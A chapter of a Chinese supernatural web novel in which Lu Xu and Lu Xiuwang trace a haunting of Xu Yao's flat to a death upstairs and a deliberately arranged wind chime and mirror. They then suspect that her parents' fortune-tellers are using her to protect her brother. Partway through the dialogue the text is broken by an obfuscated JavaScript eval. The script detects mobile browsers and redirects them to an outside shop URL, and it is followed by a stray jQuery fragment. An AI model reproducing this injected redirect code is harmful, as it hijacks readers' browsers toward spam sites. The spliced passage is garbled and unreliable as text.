眼前是一片雾蒙蒙的白,陆修望站在一个完全陌生的地方,四周是茂密的树林,空气里弥漫着淡淡的草木香气,他正疑惑自己为什么会在这里,就看见前方的雾气里站着一只白色的狐狸。
狐狸不大,毛色雪白干净,蓬松柔软。它看了陆修望一眼,然后转身往树林里走了。
陆修望下意识地跟了上去。
白狐带着他穿过树林,走了很久,停在一座山前。山很高,山顶隐没在云层里,半山腰处似有一处院落,山脚下有一条小路,蜿蜒向上,两旁种着一些叫不出名字的树木。
白狐又回过头看了他一眼,眼睛里带着某种说不清的情绪,像是期待,又像是等待。
然后它转身,消失在雾气里。
陆修望想追上去,但脚步却怎么也迈不开。他盯着那座山,突然觉得心口一阵发紧,像是有什么很重要的东西就在那座山上。
“陆修望。”
有人在叫他的名字,声音很轻,像是从很远的地方传来。
“陆修望。”
声音越来越近,陆修望猛地睁开眼,声音消失了,脑海里还回荡着刚才梦境里的画面。
太清晰了。
清晰到他还记得白狐的模样,能记得那座山的轮廓,还有山脚下那条小路的模样。
陆修望闭着眼睛缓了好一阵,很怀疑是不是最近和陆叙相处太多,那人又长得像狐狸,所以才会做这个奇奇怪怪的梦。
直起身时陆修望听到了自己关节的声音,沙发对于他的身高有点太小了,身上多出来的两条毯子顺着身体滑落,他这才发现陆叙已经起了,正穿着睡衣坐在一旁,神情专注盯着电脑屏幕。
“你醒了?”
陆叙转头看向他,揉了揉眼睛,那个动作确实有点像小狐狸,眼睛眯起来,鼻子微微皱着,看起来困得不行。
陆修望突然很想笑。
“你在查什么?”他走到陆叙身边,看向电脑屏幕,屏幕上是一些新闻报道和论坛帖子,都和许瑶住的那个小区有关。
“查查那个小区。”陆叙又在喝那种颜色奇怪的水,声音有点刚睡醒的喑哑,“想看看以前有没有出过什么事。”
陆修望看着他那副困得睁不开眼的样子,忍不住说:“你想查什么直接告诉我,我让人去查,你这样得查到什么时候?”
陆叙愣了一下,转过头看向他。
“这件事和你没关系。”陆叙语气有点犹豫,“昨天你已经帮了我很多了。”
“你说这些干嘛?你帮我的更多。”陆修望说。
陆叙盯着他看了一会,像是在判断他是不是真心的。过了几秒,他点了点头:
“那就麻烦你了。”
“说吧,想查什么?”
“看看这个小区有没有出过人命案子。”陆叙说,“或者非正常死亡。”
陆修望掏出手机,打了几个电话。陆叙听着他简洁地下达指令,然后挂了电话。
“那个……谢谢啊。还有,不好意思,对你态度不是很友好,”陆叙突然开口,“其实你人还不错,之前是我先入为主了。
“小事而已。”陆修望也难得反思了一下自己的行为,“之前是我的态度有问题,我不太懂……怎样正确和人沟通。”
陆叙笑了一下:“那以后我们两个都不太会和人相处的人就是朋友了。”
陆修望咀嚼着“朋友”这个词,却看到陆叙站起来伸了个懒腰,走到窗边拉开窗帘,阳光瞬间洒进房间,陆叙眯起眼睛,侧脸的线条在光线下显得格外清晰。
陆修望看着他的背影,突然又想起了那个梦,那只白狐回头看他的时候,眼睛是琥珀色的。
陆叙转过头,发现陆修望又在盯着自己看,忍不住问:“你又怎么了?”
陆修望盯着他琥珀色的眼睛晃了晃神,转移了话题,指着他手里抱着的保温杯问:“你这玩意到底是什么?补药吗?感觉你喝了这个精神好了很多。”
陆叙狐疑地打量着他:“这只是普通温补药,治疗长期熬夜导致的脾虚,对你那隐疾没用,别瞎打听啊。”
“我他妈没有隐疾!”
“没有就没有吧,都说了大家是朋友,等我研究出方法肯定帮你,你急什么?”
陆修望感觉那股莫名的胜负欲又上头了,脱口而出:“我有隐疾?你是不是想来试试看我行不行?”
陆叙瞪大了眼睛,显然没料到这个平日里成天端着的人会口出狂言,陆修望面上不屑,心里却觉得自己像个变态,恨不得找个地缝钻进去。
“……”
“……”
这一出搞得两个人都尴尬得不行,好在陆修望的人及时把资料送了过来,拯救他于水火之中。
陆修望把文件袋和照片集递给陆叙,陆叙接过来,走到桌边坐下,开始翻阅。
陆修望站在旁边,也跟着看,文件很详细,记录了那个小区过去二十年的所有重大事件。
“找到了。”陆叙突然说。
陆修望凑过去看,是一篇案情报道,报道里说,小区里一位独居男子在家中猝死,因为那层楼当年只有他一户人家入住,死后多日才被楼下住户发现,发现时正值夏天,尸体已经高度腐败,呈巨人观状,整个房间都是尸水。
陆修望看着那些黑黑红红的照片,心头泛起一阵恶心,陆叙却看得津津有味。
“就是这个。”陆叙指着那具牙齿裸露在外的尸体,“和我那天看到的那玩意一模一样……”
他翻到下一页,看见了详细的地址:“而且出事的楼层就在许瑶楼上。”
陆修望也看见了那个地址,忍不住问:“所以那个鬼是从楼上下来的?”
“对。”陆叙点点头,“男子是洗澡时猝死的,尸水混着地面上的水,顺着老旧的瓷砖缝隙渗入水泥,还有一部分随着年久失修的下水管渗入墙壁。”
他想了想,继续说:
“那栋楼很老,我之前去许瑶家查看过,屋顶重新做过全屋防水,再往前就不一定了。尸水渗进去之后,又往楼下滴。你想想,许瑶每晚听到的水滴声是从哪里来的?”
陆修望想起陆叙简单提过的事,水滴声是从厨房和卫生间传来的。
“尸水往楼下滴了一段时间,楼下房东不知情,以为楼上不讲卫生,想上楼理论,闻到楼道里传来的恶臭,这才报了警,虽然后来被清理了,但痕迹已经存在。”
陆叙继续翻看后面的资料:“男子当时还有亲人,但他们并没有出面为他处理后事,后续共同处理尸体的物业和社区也没想到给他超度,他的怨气还残留在单元楼里,只是很微弱。”
陆修望皱起眉:“微弱?那它怎么跑许瑶家里去了?而且那晚还那么凶险?”
“风铃原本只是动气之物,被置于煞位,气不散反聚,声响是引子,久而久之,阴气被反复牵引,本不该靠近的东西,被这股持续的动静误以为此处有位可依,渐渐向此处聚拢,最开始风铃挂在阳台尖角位,我以为是无心之失。”
“昨晚我检查过,摆放风铃的法器封口被动过,位置也是在客厅最突兀且看起来长期不使用的长柜里,这也是一个隐煞位。”
陆叙接着解释:“铜镜本为照煞之器,一般只挂于窗外门外,挂在门内必须讲究位置,那天我看到风铃就猜到了,镜子位置绝对被人动过,乱挂的镜子将已聚的阴气反复回折,形成内困之势,气场在两者之间反复回旋,形成一个会自我强化的负场,久而久之,镜子也不再能镇煞,只能养祸。”
他把文件放在桌上,靠向椅背:“凶宅本就不是许瑶租住的那间屋子,因为有人故意做局,那些脏东西才会聚在她那里。”
“我让人去查查房东和楼上的住户?”
“这倒不用了,如果没人在房间里设局,根本不会影响在楼下的房间,这件事和他们应该没关系,我只是为了验证一下猜测。”
陆修望追问:“那又是谁想害她?”
陆叙心里其实已经有了点猜测,但现在说出来未免太早。
“一时半会也说不清。”他说,“我得先和许瑶对接沟通一下,问清楚一些事情。”
陆修望知道陆叙做事有分寸,该说的时候自然会说,也没再追问。
“那走吧。”陆修望说,“趁早。”
两人收拾了一下,驱车回到酒店,有两个人陪着,许瑶看起来休息得很好,精神看起来还不错。
“陆先生,”她冲着陆叙打招呼,又转头看向陆修望,“还有……”
“我也姓陆。”
许瑶点点头,说:“麻烦你们了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099172|195686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
陆叙看她好奇地打量,解释到:“这位是我大侄子,不用和我们客气。”
陆修望:“……”
陆叙明明看起来很年轻,不做正事的时候也很幼稚,却总是一副长辈做派,陆修望现在是真有点好奇他的年龄了。
陆叙在许瑶对面的椅子上坐下,语气比平时轻松了一些:“别紧张。”
“你的屋子没什么问题。”陆叙说,“如果你没有心理阴影,甚至可以住回去了。”
许瑶愣了一下,随即松了口气,但很快又紧张起来:“真的吗?那些东西都走了?”
“死了。”陆叙纠正,“房子本身不是凶宅,也没有问题。”
他顿了顿,声音带着犹豫:“是有人想害你。”
许瑶的脸色刷地白了。
“什么意思?”
陆叙把文件袋里的资料拿出来,简单解释了一遍楼上的事,以及风铃和铜镜的位置问题。
“那些东西本来不会找上你,是有人故意布局,把它们引到你身边。”他看着许瑶,“我需要问你几个问题,最近有谁去过你屋里?”
许瑶努力回忆:“除了我父母,就只有水电师傅了。”
“水电师傅?”
“上星期。”许瑶说,“当时洗衣机外接的水管漏水了,物业找人来修过。”
陆叙点点头,又问:“你父母呢?他们什么时候去的?”
“他们来帮我搬过家,前段时间也来看过我一次,我和他们说过这件事,他们怕我害怕,来陪了我两天。”
陆叙和陆修望对视了一眼。
许瑶还在怀疑:“会不会是那个水电师傅?我记得他进来之后,在房间里转了很久,说是要检查水路,当时我还觉得他挺负责的,现在想想……”
“破坏风水是一件很复杂的事,要看外局,坐向,定气口看中宫,再起盘,还要仔细观察房间的衰星、动位,租户不一样,位置往往不一样,应事需要时间,他还得等……”
一个只来过一次的水电师傅,做不到这些。
他没有把话说得太明白:“我还需要确认一些事情,你把你的生辰八字告诉我。”
许瑶报了自己的生日和时辰,陆叙掏出手机,在小程序里输入信息,算了一遍。
八字偏阳,和他想的一样,他的视线落在许瑶手腕上戴着的那串珠子上,看起来有些年头了,上面刻着很细微的纹路,仔细一看,是一些佛法。
“这个是?”陆叙指了指那串珠子。
许瑶下意识摸了摸手腕:“这是我哥哥送我的,其实是他从小带大大的护身符。”
陆叙心下一动:“你哥哥?”
“对。”许瑶的表情柔和了一些,“我哥身体一直不太好,运势也不顺,从小到大总是出各种状况。我爸妈为了他找了很多算命的,前前后后花了不少钱。”
她声音有些低落:“前段时间我哥又出了点事,我爸妈特别着急,又找了好几个师傅给他看。我给他打电话,想把这个珠子还给他,他怕我担心,说让我戴好,我一个人出门在外,更是要注意平安。”
陆叙的手指在桌面上轻轻敲了两下,这个珠子确实保护着许瑶,看来她哥哥并没有参与其中。
“你哥哥的生辰八字,你知道吗?”
许瑶点点头,说了她哥的生日,陆叙一听就知道不对劲了。
八字全阴,天干阴,地支阴,藏干也是阴。
这种命格的人……
他抬起头,看向许瑶,眼神变得复杂,这下不是简单的害人了。
许瑶被他看得有些不安:“陆先生,怎么了?”
“没什么。”陆叙摇摇头,“你哥哥现在在哪儿?”
“在家里。”许瑶说,“他身体不太好,工作也在家附近,方便休养。”
他现在基本已经可以确定,许瑶父母找的那些“算命的”,至少有一个是歪门邪道。
用许瑶的命,去养她哥哥的局。
许瑶的父母不管知不知情,都是在利用她,这种事,他不知道该怎样告诉许瑶。
“你现在不管住哪都不太安全。”陆叙看起来有点烦躁,“害你的人不会停手。”
陆修望突然开口:“你们可以去我家,那些人的手伸不进陆家。”